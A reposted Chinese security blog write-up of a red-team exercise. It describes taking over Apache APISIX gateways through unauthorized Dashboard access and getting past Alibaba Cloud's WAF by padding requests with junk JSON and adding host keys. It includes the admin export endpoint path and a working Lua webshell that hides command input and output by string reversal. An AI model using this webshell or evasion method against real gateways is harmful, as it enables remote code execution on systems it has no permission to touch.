某互联网厂商 Apisix绕阿里WAF拿下Rce

admin 2024年2月18日15:55:44评论24 views字数 1314阅读4分22秒阅读模式
0x01 前言 

在前不久的一次地级市攻防演练中,给定的资产少之又少,很难找到突破点,但是经过一轮的信息收集发现某个地址使用了apisix网关,RCE漏洞不就来了吗?但是绕WAF的过程还是比较困难的

0x02 漏洞发现

如图使用了apisix网关的WebServer在用户访问不存在的路由时,会抛出如下错误,这可以作为我们指纹识别的特征所在

{"error_msg": "404 Route Not Found"}

某互联网厂商 Apisix绕阿里WAF拿下Rce

针对Apisix节点的攻击方法,想要RCE的话,历史上主要有“默认X-API-Key”和“Dashboard未授权访问”两个洞可以用过往挖某SRC的时候,就遇到过默认X-API-Key导致可直接创建执行lua代码的恶意路由的问题。

某互联网厂商 Apisix绕阿里WAF拿下Rce

某互联网厂商 Apisix绕阿里WAF拿下Rce

恰巧这次攻防演练中,某目标子域的Apisix节点,默认key改了,但是存在Dashboard的未授权访问。

某互联网厂商 Apisix绕阿里WAF拿下Rce

直接去Github扒了一个脚本,发现能检测出漏洞,但是RCE利用不成功,把reponse打印出来后,果然...被阿里云的WAF给拦了。

某互联网厂商 Apisix绕阿里WAF拿下Rce

0x03绕阿里WAF

把创建恶意路由的请求包中,添加一个带有大量脏数据的Json键,发现阿里云不拦了。

某互联网厂商 Apisix绕阿里WAF拿下Rce

用之前的Dashboard未授权访问漏洞查看路由,显示恶意路由确实是被写入了...但是直接访问恶意路由却依然提示404。

某互联网厂商 Apisix绕阿里WAF拿下Rce

某互联网厂商 Apisix绕阿里WAF拿下Rce

通过未授权访问漏洞,获取全量路由配置后,发现目标apisix应该是集群部署的...

/apisix/admin/migrate/export

每个路由需要有一个host键来确定该路由被添加到哪个子域。

某互联网厂商 Apisix绕阿里WAF拿下Rce

随后再次构造写入恶意路由的数据,把host键加上,发现可以成功写入了。

某互联网厂商 Apisix绕阿里WAF拿下Rce

利用未授权接口读出全量路由config,并提取出host键,确定可写入恶意路由的子域范围。

import jsondef read_config():with open("data.json", 'r') as json_file:        config = json.load(json_file)return configdata = read_config()if "Routes" in data:for route in data["Routes"]:if "host" in route:            host_value = route["host"]with open("data.txt", "a") as file:                file.write(host_value + "n")                print(host_value)

某互联网厂商 Apisix绕阿里WAF拿下Rce

但是后面执行命令,有的时候会被阿里云给拦掉,于是构造lua脚本时把传参和命令输出做了倒转,防止被流量检测到。

local file=io.popen(string.reverse(ngx.req.get_headers()['Authenication']),'r')local output=file:read('*all')file:close()ngx.say(string.reverse(output))

由于该apisix集群部署管理了28个子域的服务,所以成功拿下28个子域Rce。

某互联网厂商 Apisix绕阿里WAF拿下Rce

- end -
文章转自渗透安全HackTwo

如有侵权,请联系删除

原文始发于微信公众号(菜鸟学信安):某互联网厂商 Apisix绕阿里WAF拿下Rce

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日15:55:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某互联网厂商 Apisix绕阿里WAF拿下Rcehttp://cn-sec.com/archives/2501146.html

发表评论

匿名网友 填写信息